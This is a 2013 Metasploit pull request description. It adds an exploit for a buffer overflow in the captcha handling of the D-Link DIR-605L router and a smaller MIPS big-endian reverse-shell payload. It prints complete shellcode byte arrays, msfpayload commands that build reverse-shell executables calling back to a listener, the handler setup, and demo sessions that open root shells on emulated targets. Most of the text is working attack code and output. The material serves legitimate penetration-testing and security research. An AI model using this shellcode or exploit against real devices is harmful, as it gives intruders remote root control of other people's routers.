rapid7/metasploit-framework — pull request #2542 by jvazquez-r7 (2013-10-18 03:59:02+00:00)
Title: Add exploit for OSVDB 86824 D-Link DIR605L captcha buffer overflow

This pull request tries to add a metasploit port for the awesome Craig's work:

http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/

Basically:

* I'm changing the shell_reverse_tcp payload for MIPSBE. Mainly because it's a very big version of the payload, which includes lots of common badchars (and the only mips encoder available also needs work).

Old shell_reverse_tcp mipsbe payload:

```
Juans-MacBook-Pro:metasploit-framework juan$ ./msfpayload linux/mipsbe/shell_reverse_tcp LHOST=192.168.172.0 LPORT=4444 C
/*
* linux/mipsbe/shell_reverse_tcp - 364 bytes
* http://www.metasploit.com
* VERBOSE=false, LHOST=192.168.172.0, LPORT=4444,
* ReverseConnectRetries=5, ReverseAllowProxy=false,
* PrependFork=false, PrependSetresuid=false,
* PrependSetreuid=false, PrependSetuid=false,
* PrependSetresgid=false, PrependSetregid=false,
* PrependSetgid=false, PrependChrootBreak=false,
* AppendExit=false, InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\x24\x09\xff\xef\x05\x10\xff\xff\x28\x08\x82\x82\x01\x20\x48"
"\x27\x01\x3f\xc8\x21\xaf\xb9\x85\x48\x23\xb9\x85\x48\x3c\x1c"
"\x00\x00\x27\x9c\x00\x00\x03\x99\xe0\x21\x27\xbd\xff\xd0\xaf"
"\xbc\x00\x00\xaf\xbc\x00\x28\x8f\x84\x00\x00\x00\x00\x00\x00"
"\x24\x84\x00\xf8\x00\x00\x00\x00\x8c\x85\x00\x00\x8c\x87\x00"
"\x04\x3c\x08\xc0\xa8\x35\x06\xac\x00\x27\xb9\x00\x18\x24\x03"
"\x00\x02\x24\x02\x11\x5c\xaf\xa5\x00\x18\xaf\xa6\x00\x0c\xaf"
"\xa7\x00\x1c\xa7\xa3\x00\x08\xa7\xa2\x00\x0a\xaf\xb9\x00\x20"
"\xaf\xa0\x00\x24\x24\x04\x00\x02\x24\x05\x00\x02\x00\x00\x30"
"\x21\x24\x02\x10\x57\x00\x00\x00\x0c\x24\x04\xff\xff\x10\x44"
"\x00\x1a\x00\x40\x18\x21\x00\x60\x20\x21\x24\x06\x00\x10\x27"
"\xa5\x00\x08\x24\x02\x10\x4a\x00\x00\x00\x0c\x14\x40\x00\x0e"
"\x00\x00\x28\x21\x24\x02\x0f\xdf\x00\x00\x00\x0c\x24\x05\x00"
"\x01\x24\x02\x0f\xdf\x00\x00\x00\x0c\x24\x05\x00\x02\x24\x02"
"\x0f\xdf\x00\x00\x00\x0c\x03\x20\x20\x21\x27\xa5\x00\x20\x00"
"\x00\x30\x21\x24\x02\x0f\xab\x00\x00\x00\x0c\x00\x00\x20\x21"
"\x24\x02\x0f\xa1\x00\x00\x00\x0c\x03\xe0\x00\x08\x27\xbd\x00"
"\x30\x24\x04\x00\x01\x24\x02\x0f\xa1\x00\x00\x00\x0c\x10\x00"
"\xff\xe4\x00\x60\x20\x21\x2f\x62\x69\x6e\x2f\x73\x68\x00\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30";
```

New shell_reverse_tcp mipsbe payload:

```
Juans-MacBook-Pro:metasploit-framework juan$ git checkout mips_dlink_captcha
Switched to branch 'mips_dlink_captcha'
Juans-MacBook-Pro:metasploit-framework juan$ ./msfpayload linux/mipsbe/shell_reverse_tcp LHOST=192.168.172.0 LPORT=4444 C
/*
* linux/mipsbe/shell_reverse_tcp - 184 bytes
* http://www.metasploit.com
* VERBOSE=false, LHOST=192.168.172.0, LPORT=4444,
* ReverseConnectRetries=5, ReverseAllowProxy=false,
* PrependFork=false, PrependSetresuid=false,
* PrependSetreuid=false, PrependSetuid=false,
* PrependSetresgid=false, PrependSetregid=false,
* PrependSetgid=false, PrependChrootBreak=false,
* AppendExit=false, InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff"
"\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2"
"\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf"
"\xaf\xff\xe0\x3c\x0e\x11\x5c\x35\xce\x11\x5c\xaf\xae\xff\xe4"
"\x3c\x0e\xc0\xa8\x35\xce\xac\x00\xaf\xae\xff\xe6\x27\xa5\xff"
"\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01"
"\x01\x0c\x24\x0f\xff\xfd\x01\xe0\x78\x27\x8f\xa4\xff\xff\x01"
"\xe0\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff"
"\x21\xef\xff\xff\x15\xf0\xff\xfa\x28\x06\xff\xff\x3c\x0f\x2f"
"\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce"
"\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf"
"\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab"
"\x01\x01\x01\x0c";

```

* A port of the OSVDB 86824's exploit by Craig. My only worry is which I haven't had access to a real device for testing, so I've been able to just test on a QEMU environment. Because of that I'm using ManualRanking for it. If someone could help us to test it with real hardware I guess ranking could be upgraded :)

Verification

* Payload:

- [ ] Generate an ELF with the MIPSBE shell_reverse_tcp payload with msfpayload.

```
$ ./msfpayload linux/mipsbe/shell_reverse_tcp LHOST=192.168.172.1 LPORT=4444 X > /tmp/reverse_shell_mips.elf
Created by msfpayload (http://www.metasploit.com).
Payload: linux/mipsbe/shell_reverse_tcp
Length: 184
Options: {"LHOST"=>"192.168.172.1", "LPORT"=>"4444"}
$ file /tmp/reverse_shell_mips.elf
/tmp/reverse_shell_mips.elf: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, corrupted section header size

```

- [ ] Run a exploit/multi/handler with a listener for the payload

```
> use exploit/multi/handler
msf exploit(handler) > set payload linux/mipsbe/shell_reverse_tcp
payload => linux/mipsbe/shell_reverse_tcp
msf exploit(handler) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...

```

- [ ] Execute the elf executable from a MIPSBE machine, I've used a debian squeeze emulated with qemu-system, you should enjoy a session

```
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
[*] Command shell session 2 opened (192.168.172.1:4444 -> 192.168.172.133:53337) at 2013-10-17 22:56:50 -0500

id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux mipsdebian 2.6.32-5-4kc-malta #1 Sat Feb 16 12:43:42 UTC 2013 mips GNU/Linux

```

* Exploit

- [ ] Easy part: firmware (1.13) downloadable from here: ftp://ftp2.dlink.com/PRODUCTS/DIR-605L/REVA/DIR-605L_FIRMWARE_1.13.ZIP

- [ ] Not so easy part: Run the boa webserver included with the firmware with qemu (user emulation). Basically use the information provided on the awesome Craig's post: http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/

- [ ] Run msfconsole, exploit and hopefully enjoy your session :)

* Exploit DEMO:

```
msf > use exploit/linux/http/dlink_dir605l_captcha_bof
msf exploit(dlink_dir605l_captcha_bof) > set payload linux/mipsbe/shell_reverse_tcp
payload => linux/mipsbe/shell_reverse_tcp
msf exploit(dlink_dir605l_captcha_bof) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(dlink_dir605l_captcha_bof) > set lport 4444
lport => 4444
msf exploit(dlink_dir605l_captcha_bof) > show options

Module options (exploit/linux/http/dlink_dir605l_captcha_bof):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 80 yes The target port
VHOST no HTTP server virtual host

Payload options (linux/mipsbe/shell_reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.172.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 DLink DIR-605L 1.13

msf exploit(dlink_dir605l_captcha_bof) > set rhost 192.168.172.133
rhost => 192.168.172.133
msf exploit(dlink_dir605l_captcha_bof) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.133:80 - Sending exploit...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.133:53334) at 2013-10-17 22:33:43 -0500

pwd
/etc/boa
^C
Abort session 1? [y/N] y

[*] 192.168.172.133 - Command shell session 1 closed. Reason: User exit

```

**Known problems**: The decoder stub for the only one available mipsbe encoder contains exploit's badchars. So be sure to not include exploit's badchars on the LHOST and LPORT information for the shell_reverse_tcp payload or you won't be able to encode the payload and msfpayload will complain. Definitely need to work on MIPS encoders